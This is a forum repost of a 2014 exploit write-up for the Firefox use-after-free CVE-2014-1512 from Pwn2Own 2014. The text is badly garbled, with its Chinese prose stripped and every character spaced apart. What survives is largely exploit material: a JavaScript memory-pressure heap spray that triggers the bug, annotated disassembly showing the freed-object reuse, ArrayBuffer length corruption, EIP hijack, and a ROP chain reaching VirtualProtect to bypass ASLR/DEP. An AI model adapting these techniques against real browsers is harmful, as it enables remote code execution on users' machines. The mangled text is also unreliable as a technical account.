[8110] 2014-06-27_Firefox内存释放重用漏洞高级利用(Pwn2Own2014、CVE-2014-1512)

文档创建者:s7ckTeam
浏览次数:33
最后更新:2025-01-17
2014-06-27_Firefox内存释放重用漏洞高级利用(Pwn2Own2014、CVE-2014-1512) F i r e f o x ( P w n 2 O w n 2 0 1 4 C V E - 2 0 1 4 - 1 5 1 2 ) v s c e n   F r e e B u f   2 0 1 4 - 0 6 - 2 7 , P w n 2 O w n   2 0 1 4 P w n 2 O w n 使 1 1 M o z i l l a   F i r e f o x   I n t e r n e t   E x p l o r e r   1 1 G o o g l e C h r o m e A d o b e   R e a d e r   X I A d o b e   F l a s h W i n d o w s   8 . 1 使 P w n 2 O w n M o z i l l a   F i r e f o x   ( M F S A 2 0 1 4 - 3 0   /   C V E - 2 0 1 4 - 1 5 1 2 ) M o z i l l a m e m o r y - p r e s s u r e 1 . W i n d o w s   8 . 1   ( 6 4 b i t ) F i r e f o x   v 2 7 < h t m l >   < s c r i p t >   v a r   t a b   =   n e w   A r r a y ( 1 0 0 0 0 0 ) ;   v a r   c o u n t e r   =   0 ;   f u n c t i o n   s p r a y ( )   {           f o r ( v a r   i   =   0 ;   i < 0 x 1 0 0   ;   i + + ) {                         t a b [ c o u n t e r ]   =   n e w   A r r a y B u f f e r ( 0 x 1 0 0 0 0 ) ;                         c o u n t e r   + =   1 ;           }   }   f u n c t i o n   P r e s s u r e ( )   {           t r y   { s p r a y ( ) ; }   c a t c h   ( e )   { }           f o r ( v a r   i   =   0 ;   i < 0 x 4 0 0 0   ;   i + + )                       c o u n t e r . t o S t r i n g ( ) ;           P r e s s u r e ( ) ;   } P r e s s u r e ( ) ;   < / s c r i p t >   < / h t m l > P r e s s u r e ( ) s p r a y ( ) f o r P r e s s u r e ( ) P r e s s u r e ( ) s p r a y ( ) t a b F i r e f o x F i r e f o x m e m o r y   p r e s s u r e l o w m e m o r y 使   / /   I n   " C h e c k M e m A v a i l a b l e ( ) "     /   x u l . d l l   0 x 1 0 A F 2 E 5 D   m o v   e a x ,   s L o w C o m m i t S p a c e T h r e s h o l d   / /   0 x 8 0   0 x 1 0 A F 2 E 6 2   x o r   e c x ,   e c x   0 x 1 0 A F 2 E 6 4   s h l   e a x ,   1 4 h   / /   e a x   =   0 x 0 8 0 0 0 0 0 0   [ . . . ]   0 x 1 0 A F 2 E 6 E   c m p   d w o r d   p t r   [ e b p + s t a t . u l l A v a i l P a g e F i l e ] ,   e a x   / /   l e f t   m e m o r y   ( i n   b y t e s )   0 x 1 0 A F 2 E 7 1   j n b   s h o r t   l o c _ 1 0 A F 2 E 8 3   0 x 1 0 A F 2 E 7 3   c a l l   M a y b e S c h e d u l e M e m o r y P r e s s u r e E v e n t ( ) / / E n a b l e   T h e " m e m o r y - p r e s s u r e "   s t a t e 0 × 0 8 0 0 0 0 0 0   m e m o r y - p r e s s u r e f i r e f o x B u m p C h u n k / /   I n   " j s : : d e t a i l : : B u m p C h u n k   *   j s : : L i f o A l l o c : : g e t O r C r e a t e C h u n k ( ) "   /   m o z j s . d l l   0 x 0 0 B F E F 3 E   p u s h   e d i   ;   S i z e   0 x 0 0 B F E F 3 F   c a l l   d s : _ _ i m p _ _ m a l l o c   0 x 0 0 B F E F 4 5   a d d   e s p ,   4
  0 x 0 0 B F E F 4 8   t e s t   e a x ,   e a x   0 x 0 0 B F E F 4 A   j z   l o c _ B F E F F B   [ . . . ] 0 × 2 0 0 0 j s : : L i f o A l l o c : : f r e e A l l ( ) / /   I n   " j s : : L i f o A l l o c : : f r e e A l l ( ) "   /   m o z j s . d l l   0 x 0 0 C D 5 A F 5   m o v   e a x ,   [ t h i s ]   0 x 0 0 C D 5 A F 7   m o v   e c x ,   [ e a x + 8 ]   0 x 0 0 C D 5 A F A   m o v   [ t h i s ] ,   e c x   0 x 0 0 C D 5 A F C   m o v   e c x ,   e a x   0 x 0 0 C D 5 A F E   s u b   e c x ,   [ e a x + 4 ]   0 x 0 0 C D 5 B 0 1   p u s h   e a x / /   e a x   p o i n t s   t o   t h e   " B u m p C h u n k "   o b j e c t   0 x 0 0 C D 5 B 0 2   a d d   [ t h i s + 1 4 h ] ,   e c x   0 x 0 0 C D 5 B 0 5   c a l l   d s : _ _ i m p _ _ f r e e                                                 / /   f r e e ( )   f u n c t i o n   0 x 0 0 C D 5 B 0 B   p o p   e c x   0 x 0 0 C D 5 B 0 C   0 x 0 0 C D 5 B 0 C   l o c _ C D 5 B 0 C :     0 x 0 0 C D 5 B 0 C   c m p   [ t h i s ] ,   e d i   0 x 0 0 C D 5 B 0 E   j n z   s h o r t   l o c _ C D 5 A F 5 ; f i r e f o x 使 / /   I n   " j s : : G C M a r k e r : : p r o c e s s M a r k S t a c k T o p ( ) "   /   m o z j s . d l l   [ . . . ]   0 x 0 0 C 0 7 A C 3   m o v   e c x ,   [ e d i + 1 4 h ] / /   r e t r i e v e   t h e   r e f   t o   t h e   f r e e d   o b j e c t   [ . . . ]   0 x 0 0 C 0 7 A D 8   m o v   e c x ,   [ e c x ] / /   r e a d   i n t o   t h e   f r e e d   o b j e c t   [ . . . ]   0 x 0 0 C 0 7 A D F   m o v   e d x ,   e c x   0 x 0 0 C 0 7 A E 1   s h r   e d x ,   3   0 x 0 0 C 0 7 A E 4   m o v   [ e s p + 4 4 h + o b j ] ,   e c x   0 x 0 0 C 0 7 A E 8   a n d   e d x ,   1 F F F F h   0 x 0 0 C 0 7 A E E   m o v   e c x ,   e d x   0 x 0 0 C 0 7 A F 0   a n d   e c x ,   1 F h   0 x 0 0 C 0 7 A F 3   m o v   e a x ,   1   0 x 0 0 C 0 7 A F 8   s h l   e a x ,   c l   0 x 0 0 C 0 7 A F A   m o v   e c x ,   [ e s p + 4 4 h + o b j ]   0 x 0 0 C 0 7 A F E   a n d   e c x ,   0 F F F F C 0 B 0 h   0 x 0 0 C 0 7 B 0 4   o r   e c x ,   0 F C 0 B 0 h   0 x 0 0 C 0 7 B 0 A   s h r   e d x ,   5   0 x 0 0 C 0 7 B 0 D   l e a   e d x ,   [ e c x + e d x * 4 ]   0 x 0 0 C 0 7 B 1 0   m o v   e c x ,   [ e d x ]                                                                 / /   a   c r a s h   o c c u r s   h e r e ! f i r e f o x j s : : G C M a r k e r : : p r o c e s s M a r k S t a c k T o p ( ) 2 . W i n d o w s 8 . 1 ( 6 4 ) A r r a y B u f f e r s   o f   0 × 2 0 0 0   b y t e s 使 j s : : G C M a r k e r : : p r o c e s s M a r k S t a c k T o p ( ) "   a n d
" j s : : t y p e s : : T y p e O b j e c t : : s w e e p ( ) j s : : G C M a r k e r : : p r o c e s s M a r k S t a c k T o p ( ) A S L R j s : : t y p e s : : T y p e O b j e c t : : s w e e p ( ) W i n d o w s 8 . 1 2 . 1   j s : : G C M a r k e r : : p r o c e s s M a r k S t a c k T o p ( ) j s : : G C M a r k e r : : p r o c e s s M a r k S t a c k T o p ( ) 使 / /   I n   " j s : : G C M a r k e r : : p r o c e s s M a r k S t a c k T o p ( ) "   /   m o z j s . d l l   0 x 0 0 C 0 7 A C 3   m o v   e c x ,   [ e d i + 1 4 h ]       / /   r e t r i e v e   t h e   r e f   t o   t h e   f r e e d   o b j e c t   / /   t h i s   r e f   d o e s   n o t   p o i n t   t o   t h e   b e g i n n i n g   o f   t h e   A r r a y B u f f e r ,   / /   b u t   p o i n t s   i n t o   t h e   c o n t r o l l e d   v a l u e s   o f   t h e   A r r a y B u f f e r   [ . . . ]   0 x 0 0 C 0 7 A D 8   m o v   e c x ,   [ e c x ]                     / /   [ e c x ]   i s   f u l l y   c o n t r o l l e d E C X f i r e f o x / /   T h e   t w o   v a l u e s   a r e   n a m e d :   v a l u e _ 1   a n d   v a l u e _ 2   0 x 0 0 C 0 7 A D F   m o v   e d x ,   e c x   0 x 0 0 C 0 7 A E 1   s h r   e d x ,   3   0 x 0 0 C 0 7 A E 4   m o v   [ e s p + 4 4 h + o b j ] ,   e c x   0 x 0 0 C 0 7 A E 8   a n d   e d x ,   1 F F F F h   0 x 0 0 C 0 7 A E E   m o v   e c x ,   e d x   0 x 0 0 C 0 7 A F 0   a n d   e c x ,   1 F h   0 x 0 0 C 0 7 A F 3   m o v   e a x ,   1   0 x 0 0 C 0 7 A F 8   s h l   e a x ,   c l                                           / /   v a l u e _ 1   i s   o b t a i n e d   h e r e   0 x 0 0 C 0 7 A F A   m o v   e c x ,   [ e s p + 4 4 h + o b j ]   0 x 0 0 C 0 7 A F E   a n d   e c x ,   0 F F F F C 0 B 0 h   0 x 0 0 C 0 7 B 0 4   o r   e c x ,   0 F C 0 B 0 h   0 x 0 0 C 0 7 B 0 A   s h r   e d x ,   5   0 x 0 0 C 0 7 B 0 D   l e a   e d x ,   [ e c x + e d x * 4 ]       / /   v a l u e _ 2   i s   o b t a i n e d   h e r e   / / e a x   c o n t a i n s   v a l u e _ 1   / / e d x   c o n t a i n s   v a l u e _ 2 e c x   =   f u l l y   c o n t r o l l e d   v a l u e v a l u e _ 1   =   1   < <   (   (   e c x   > >   3   )   &   0 x 0 0 0 0 0 0 1 F   ) v a l u e _ 2   =   ( ( e c x   &   0 x F F F F C 0 B 0 )   |   0 x F C 0 B 0   )   +   ( ( (   e c x   > >   3   )   &   0 x 1 F F F F   )   > >   5   )   *   4 使 / /   e a x   =   v a l u e _ 1 / /   e d x   =   v a l u e _ 2   0 x 0 0 C 0 7 B 1 0   m o v   e c x ,   [ e d x ]     0 x 0 0 C 0 7 B 1 2   t e s t   e a x ,   e c x   0 x 0 0 C 0 7 B 1 4   j z   l o c _ D 6 4 7 C 5                                 / /   c a n   b e   c o n t r o l l e d   [ . . . ]   0 x 0 0 D 6 4 7 C 5   l o c _ D 6 4 7 C 5 :     0 x 0 0 D 6 4 7 C 5   o r   e c x ,   e a x     0 x 0 0 D 6 4 7 C 7   m o v   e a x ,   [ e s p + 4 4 h + o b j ]     0 x 0 0 D 6 4 7 C B   p u s h   e b p  
  0 x 0 0 D 6 4 7 C C   m o v   [ e d x ] ,   e c x                           / /   m e m o r y   c o r r u p t i o n v a l u e _ 2 0 x 0 0 C 0 7 B 1 4 A r r a y B u f f e r s 使 A r r a y B u f f e r b y t e L e n g t h A r r a y B u f f e r A r r a y B u f f e r b y t e L e n g t h A r r a y B u f f e r v i e w   I n t 3 2 A r r a y ( A r r a y B u f f e r   b u f f e r ,   u n s i g n e d   l o n g   b y t e O f f s e t ,   u n s i g n e d   l o n g   l e n g t h ) ; A t t r i b u t e T y p e D e s c r i p t i o n b u f f e r A r r a y B u f f e r T h e   A r r a y B u f f e r   o b j e c t   u s e d   t o   c o n t a i n   t h e   T y p e d A r r a y   d a t a .   R e a d   o n l y . b y t e O f f s e t u n s i g n e d   l o n g T h e   i n d e x   a t   w h i c h   t h e   T y p e d A r r a y   s t a r t s   w i t h i n   t h e   u n d e r l y i n g   A r r a y B u f f e r .   R e a d   o n l y . l e n g t h I n t u n s i g n e d   l o n g T h e   n u m b e r   o f   e n t r i e s   i n   t h e   a r r a y .   R e a d   o n l y . T h e   s i z e   o f   a n   e n t r y   i s   a l w a y s   4   b y t e s . A r r a y B u f f e r ' s   " b y t e L e n g t h "   I n t 3 2 A r r a y ( ) i f (   ( A r r a y B u f f e r ' s   " l e n g t h " )   > =   ( b y t e O f f s e t   a r g )   +   ( l e n g t h   a r g )   *   4   ) {                 [ . . . ]     / /   w i l l   c r e a t e   t h e   v i e w   } e l s e {                 e r r o r ( ) ;   } / /   I n   " n a m e s p a c e _ _ _ T y p e d A r r a y O b j e c t T e m p l a t e _ i n t _ _ _ f r o m B u f f e r ( ) "   /   m o z j s . d l l   / /   e c x   p o i n t s   t o   s t a r t   o f   A r r a y B u f f e r & # 0 3 9 ; s   p a y l o a d   a r e a   0 x 0 0 E 4 8 7 3 F   m o v   e d x ,   [ e a x - 0 C h ]                     / /   r e t r i e v e   t h e   " b y t e L e n g t h "   f i e l d     [ . . . ]   0 x 0 0 E 4 8 7 4 B   m o v   e a x ,   [ e b p + l e n g t h I n t ]   / /   r e t r i e v e   t h e   3 r d   a r g   o f   " I n t 3 2 A r r a y "   [ . . . ]   0 x 0 0 E 4 8 7 6 9   m o v   e c x ,   e a x   0 x 0 0 E 4 8 7 6 B   s h l   e c x ,   2   [ . . . ]
  0 x 0 0 E 4 8 7 8 0   a d d   e c x ,   e b x                                         / /   e b x ,   2 n d   a r g u m e n t   o f   " I n t 3 2 A r r a y "   0 x 0 0 E 4 8 7 8 2   c m p   e c x ,   e d x   0 x 0 0 E 4 8 7 8 4   j a   s h o r t   l o c _ E 4 8 7 9 9 / /   I f   t h e   j u m p   i s   t a k e n ,   t h e   v i e w   w i l l   n o t   b e   c r e a t e d A r r a y B u f f e r   b y t e L e n g t h A r r a y B u f f e r v a l u e _ 2 A r r a y B u f f e r b y t e L e n g t h b y t e L e n g t h 0 × 0 1 0 0 0 0 0 0 A r r a y B u f f e r b y t e L e n g t h A r r a y B u f f e r b y t e L e n g t h 0 x F F F F F F F F D L L A r r a y B u f f e r d w o r d m o z j s . d l l A r r a y B u f f e r d w o r d m o z j s . d l l   C P U   S t a c k   A d d r e s s   V a l u e     0 x 0 A 1 8 F F 1 0   0 x 0 4 9 A 0 9 2 8     [ . . . ]   0 x 0 4 9 A 0 9 2 8   0 x 0 4 9 A 2 6 0 0   [ . . . ]   0 x 0 4 9 A 2 6 0 0   0 x 0 0 E 8 D 4 D 8     [ . . . ]   0 x 0 0 E 8 D 4 D 8   0 x 0 0 E 9 A F E 4   ;   A S C I I   " I n t 3 2 A r r a y " 0 x 0 0 E 9 A F E 4 m o z j s . d l l R O P A S L R / D E P 2 . 2   j s : : t y p e s : : T y p e O b j e c t : : s w e e p ( ) E I P j s : : t y p e s : : T y p e O b j e c t : : s w e e p ( ) / /   I n   " j s : : t y p e s : : T y p e O b j e c t : : s w e e p ( ) "   /   m o z j s . d l l   0 x 0 0 C 7 F 5 6 7   m o v   e c x ,   [ e a x ]                                           / /   e c x   i s   f u l l y   c o n t r o l l e d   [ . . . ]   0 x 0 0 C 7 F 5 7 7   m o v   [ e s p + 3 8 h + v a r _ 1 0 ] ,   e c x
  [ . . . ]   0 x 0 0 C 7 F 5 C D   l e a   e a x ,   [ e s p + 3 8 h + v a r _ 1 0 ]   0 x 0 0 C 7 F 5 D 1   c a l l   j s : : E n c a p s u l a t e d I d : : p r e ( v o i d )   / /   I n   " j s : : E n c a p s u l a t e d I d : : p r e ( ) "   0 x 0 0 C 7 F B A 0   p u s h   e c x   0 x 0 0 C 7 F B A 1   m o v   e a x ,   [ e a x ]                                       / /   c o n t r o l l e d   0 x 0 0 C 7 F B A 3   m o v   e c x ,   e c x   [ . . . ]   0 x 0 0 C 7 F B B 8   a n d   e a x ,   0 F F F F F 0 0 0 h   0 x 0 0 C 7 F B B D   m o v   e a x ,   [ e a x ]                                     / /   c o n t r o l l e d   0 x 0 0 C 7 F B B F   c m p   b y t e   p t r   [ e a x + 8 ] ,   0   0 x 0 0 C 7 F B C 3   j n z   l o c _ D 3 F 5 C 4                                     / /   j u m p   m u s t   b e   t a k e n   0 x 0 0 C 7 F B C 9   [ . . . ]   0 x 0 0 D 3 F 5 C 4   l o c _ D 3 F 5 C 4 :     0 x 0 0 D 3 F 5 C 4   m o v   e d x ,   [ e a x + 4 ]                             / /   c o n t r o l l e d   0 x 0 0 D 3 F 5 C 7   p u s h   o f f s e t   a W r i t e B a r r i e r     0 x 0 0 D 3 F 5 C C   l e a   e c x ,   [ e s p + 8 + s t r ]   0 x 0 0 D 3 F 5 D 0   p u s h   e c x     0 x 0 0 D 3 F 5 D 1   p u s h   e d x                                                       / /   1 s t   a r g   0 x 0 0 D 3 F 5 D 2   c a l l   j s : : g c : : M a r k S t r i n g U n b a r r i e r e d ( )   / /   I n   " j s : : g c : : M a r k S t r i n g U n b a r r i e r e d ( ) "   0 x 0 0 C 5 5 F D 0   m o v   e c x ,   [ e s p + n a m e ]     0 x 0 0 C 5 5 F D 4   m o v   e d x ,   [ e s p + t h i n g p ]     0 x 0 0 C 5 5 F D 8   m o v   e a x ,   [ e s p + t r c ]                         / /   r e t r i e v e   1 s t   a r g   [ . . . ]   0 x 0 0 C 5 5 F F 0   p u s h   e a x                                                       / /   s e t   1 s t   a r g   f o r   M a r k I n t e r n a l _ J S S t r i n g _ ( )   0 x 0 0 C 5 5 F F 1   m o v   d w o r d   p t r   [ e a x + 8 ] ,   0   0 x 0 0 C 5 5 F F 8   m o v   [ e a x + 0 C h ] ,   n a m e   0 x 0 0 C 5 5 F F B   m o v   [ e a x + 1 0 h ] ,   0 F F F F F F F F h   0 x 0 0 C 5 6 0 0 2   c a l l   M a r k I n t e r n a l _ J S S t r i n g _ ( ) M a r k I n t e r n a l _ J S S t r i n g _ ( ) / /   I n   " M a r k I n t e r n a l _ J S S t r i n g _ ( ) "   0 x 0 0 C 3 A B A 2   m o v   e b p ,   [ e s p + 8 + t r c ]             / /   r e t r i e v e   1 s t   a r g   0 x 0 0 C 3 A B A 6   m o v   e c x ,   [ e b p + 4 ]                         / /   c o n t r o l l e d   0 x 0 0 C 3 A B A 9   x o r   e b x ,   e b x   0 x 0 0 C 3 A B A B   p u s h   e s i   0 x 0 0 C 3 A B A C   p u s h   e d i   0 x 0 0 C 3 A B A D   c m p   e c x ,   e b x   0 x 0 0 C 3 A B A F   j n z   l o c _ C 3 A C 9 C                               / /   c o n t r o l l e d ,   w e   t a k e   t h i s   j u m p   [ . . . ]   0 x 0 0 C 3 A C 9 C   l o c _ C 3 A C 9 C :     0 x 0 0 C 3 A C 9 C   p u s h   1   0 x 0 0 C 3 A C 9 E   p u s h   t h i n g p   0 x 0 0 C 3 A C 9 F   p u s h   e b p   0 x 0 0 C 3 A C A 0   c a l l   e c x                                                       / /   r e d i r e c t   E I P   h e r e ,   p w n d ! E C X n u l l 线 E I P [ e b p + 4 ] n u l l E I P   [ e b p + 4 ] ( ) m o z j s . d l l R O P
  / /   M a k e   e a x   p o i n t   t o   a n o t h e r   l o c a t i o n   ( i n   t h e   s p r a y )   0 x 0 0 D 9 9 7 C 3   m o v   e a x ,   [ e a x + 5 8 8 h ]   0 x 0 0 D 9 9 7 C 9   m o v   e d x ,   [ e a x ]                                 / /   c o n t r o l l e d   0 x 0 0 D 9 9 7 C B   m o v   e c x ,   e a x   0 x 0 0 D 9 9 7 C D   c a l l   d w o r d   p t r   [ e d x ]                   / /   c a l l   t h e   2 n d   g a d g e t     / /   S e t   a   c o n t r o l l e d   v a l u e   o n   t h e   s t a c k   0 x 0 0 C D 9 8 5 5   p u s h   [ e b p - 8 0 h ]                               / /   c o n t r o l l e d ,   a d d r e s s   o f   t h e   4 t h   g a d g e t   0 x 0 0 C D 9 8 5 8   m o v   e c x ,   s t a t e   0 x 0 0 C D 9 8 5 A   c a l l   d w o r d   p t r   [ e a x + 4 ]         / /   c a l l   t h e   3 r d   g a d g e t   / /   M a k e   e s p   p o i n t   t o   a   c o n t r o l l e d   l o c a t i o n   0 x 0 0 D 2 9 0 6 A   p o p   e c x   0 x 0 0 D 2 9 0 6 B   x c h g   e a x ,   e s p   0 x 0 0 D 2 9 0 6 C   m o v   e a x ,   [ e a x ]                             / /   a d d r e s s   o f   t h e   4 t h   g a d g e t     0 x 0 0 D 2 9 0 6 E   m o v   [ e s p ] ,   e a x   0 x 0 0 D 2 9 0 7 1   r e t n                                                               / /   r e t u r n   t o   t h e   4 t h   g a d g e t   / /   A d j u s t   t h e   s t a c k   a n d   e n j o y   0 x 0 0 B D 0 6 2 D   a d d   e s p ,   1 0 h   0 x 0 0 B D 0 6 3 0   r e t n /   w i l l   r e t u r n   t o   " V i r t u a l P r o t e c t ( ) "   a f t e r / /   t h e   s t a c k   h a s   b e e n   p r o p e r l y   c r a f t e d W i n d o w s 8 . 1 A S L R / D E P E M E T [ v i a   v u p e n ]
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则